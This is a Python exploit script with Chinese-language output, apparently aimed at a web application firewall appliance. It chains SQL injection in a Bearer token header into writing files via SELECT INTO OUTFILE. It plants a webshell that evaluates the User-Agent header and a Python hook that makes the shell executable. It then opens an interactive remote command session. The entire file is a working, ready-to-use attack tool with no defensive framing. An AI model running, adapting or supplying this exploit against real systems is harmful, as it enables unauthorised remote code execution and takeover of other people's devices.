#!/usr/bin/env python3
import argparse
import binascii
import readline
from urllib.parse import urljoin
import requests
import urllib3

urllib3.disable_warnings()

class SQLInjection:
    def __init__(self, target: str):
        self._target = target
        self._buggy_api = '/api/fabric/device/status'
        self._session = requests.Session()
        self._session.verify = False

    def inject_sql(self, injection: str) -> bool:
        headers = {"Authorization": f"Bearer ';{injection}"}
        dst_url = urljoin(self._target, self._buggy_api)
        try:
            r = self._session.get(dst_url, headers=headers, timeout=10)
            return r.status_code == 401
        except Exception as e:
            print(f'请求失败: {e}')
            return False

class RCE(SQLInjection):
    def __init__(self, target: str):
        super().__init__(target)
        self._pyhook_path = '/cgi-bin/ml-draw.py'
        self.webshell_url = urljoin(self._target, '/cgi-bin/x.cgi')
        
        self._chmod_payload = (
            "import os;os.system('chmod +x /migadmin/cgi-bin/x.cgi && "
            "rm -f /var/log/lib/python3.10/pylab.py')"
        )
        
        self._webshell = (
            '#!/bin/sh --\n'
            'printf "Content-Type: text/html\\r\\n\\r\\n";'
            'eval "$HTTP_USER_AGENT"'
        )

    def upload_webshell(self) -> bool:
        if not self._setup_injection():
            return False
            
        print('\n[+] 正在写入Webshell')
        if not self._write_payload(self._webshell, '/migadmin/cgi-bin/x.cgi'):
            return False
            
        print('[+] 部署权限修复工具')
        if not self._write_payload(self._chmod_payload, '/var/log/lib/python3.10/pylab.py'):
            return False
            
        print('[+] 触发权限更改')
        return self._trigger_chmod()
    
    def _setup_injection(self) -> bool:
        ops = [
            'drop table if exists fabric_user.a',
            'create table fabric_user.a (a TEXT)',
            'insert into fabric_user.a values("")'
        ]
        
        for op in ops:
            if not self.inject_sql(op.replace(' ', '/**/')):
                print(f'初始化失败: {op}')
                return False
        return True
    
    def _write_payload(self, payload: str, path: str) -> bool:
        chunks = self._chunk_payload(payload)
        
        for i, chunk in enumerate(chunks):
            hex_chunk = binascii.hexlify(chunk.encode()).decode()
            injection = (
                f"use/**/fabric_user;"
                f"update/**/a/**/set/**/a="
                f"(select/**/concat(a,0x{hex_chunk})/**/from/**/a);--"
            )
            if not self.inject_sql(injection):
                print(f'写入数据块失败 {i+1}/{len(chunks)}')
                return False
        
        export_sql = (
            f"select/**/a/**/from/**/fabric_user.a/**/"
            f"into/**/outfile/**/'{path}'/**/"
            f"FIELDS/**/ESCAPED/**/BY/**/'';--"
        )
        if not self.inject_sql(export_sql):
            print(f'导出到路径失败 {path}')
            return False
            
        print(f'  └─ 已写入 {len(payload)} 字节到 {path}')
        return True

    def run_cmd(self, cmd: str) -> str:
        try:
            headers = {'User-Agent': cmd}
            r = self._session.get(self.webshell_url, headers=headers, timeout=10)
            return r.text.strip()
        except Exception as e:
            return f"命令执行失败: {e}"

    def _trigger_chmod(self) -> bool:
        dst_url = urljoin(self._target, self._pyhook_path)
        try:
            r = self._session.get(dst_url, timeout=10)
            return r.status_code == 500
        except Exception as e:
            print(f'触发失败: {e}')
            return False

    def _chunk_payload(self, payload: str, size=16) -> list:
        return [payload[i:i+size] for i in range(0, len(payload), size)]


class ShellSession:
    def __init__(self, rce: RCE):
        self.rce = rce
        self.active = True
        self.history = []
        self._test_connection()

    def _test_connection(self):
        print(f"\n[+] 正在测试连接 {self.rce.webshell_url}")
        result = self.rce.run_cmd('id')
        if 'uid=' in result:
            print(f"[+] 活动会话身份: {result.split()[0]}")
        else:
            print(f"连接失败: {result}")
            self.active = False

    def start(self):
        if not self.active:
            print("\n无法启动Shell会话")
            return
            
        print("\n[+] 交互式Shell已启动")
        print("    输入命令执行操作，输入'退出'结束会话，输入'历史'查看命令记录")
        print("    所有命令通过User-Agent标头执行\n")
        
        while self.active:
            try:
                cmd = input("Shell> ")
                if not cmd:
                    continue
                    
                self.history.append(cmd)
                
                if cmd.lower() in ['退出', 'quit', 'exit']:
                    print("\n会话已终止")
                    self.active = False
                elif cmd == '历史':
                    self._show_history()
                elif cmd == '清屏':
                    print("\033c", end="")
                elif cmd == '状态':
                    print(f"[+] Webshell活动地址 {self.rce.webshell_url}")
                else:
                    result = self.rce.run_cmd(cmd)
                    print(f"\n{result}")
            except KeyboardInterrupt:
                print("\n\n会话中断，输入'退出'结束")
            except Exception as e:
                print(f"命令错误: {e}")

    def _show_history(self):
        print("\n命令历史记录:")
        for i, cmd in enumerate(self.history[-10:], 1):
            print(f"{i:2}. {cmd}")


def main():
    parser = argparse.ArgumentParser(
        description='SQL注入到RCE攻击利用工具',
        epilog='使用示例: %(prog)s -t https://目标IP:8443/')
    parser.add_argument('-t', '--target', required=True, 
                        help='目标URL（如使用非标准端口请包含）')
    args = parser.parse_args()

    print(f"\n[★] 开始对目标 {args.target} 进行利用")
    
    try:
        pew = RCE(args.target.rstrip('/') + '/')
        if pew.upload_webshell():
            print("\n[★] 利用成功！")
            print(f"    Webshell地址: {pew.webshell_url}")
            
            session = ShellSession(pew)
            session.start()
        else:
            print("\n利用失败")
    except Exception as e:
        print(f"\n严重错误: {e}")


if __name__ == '__main__':
    main()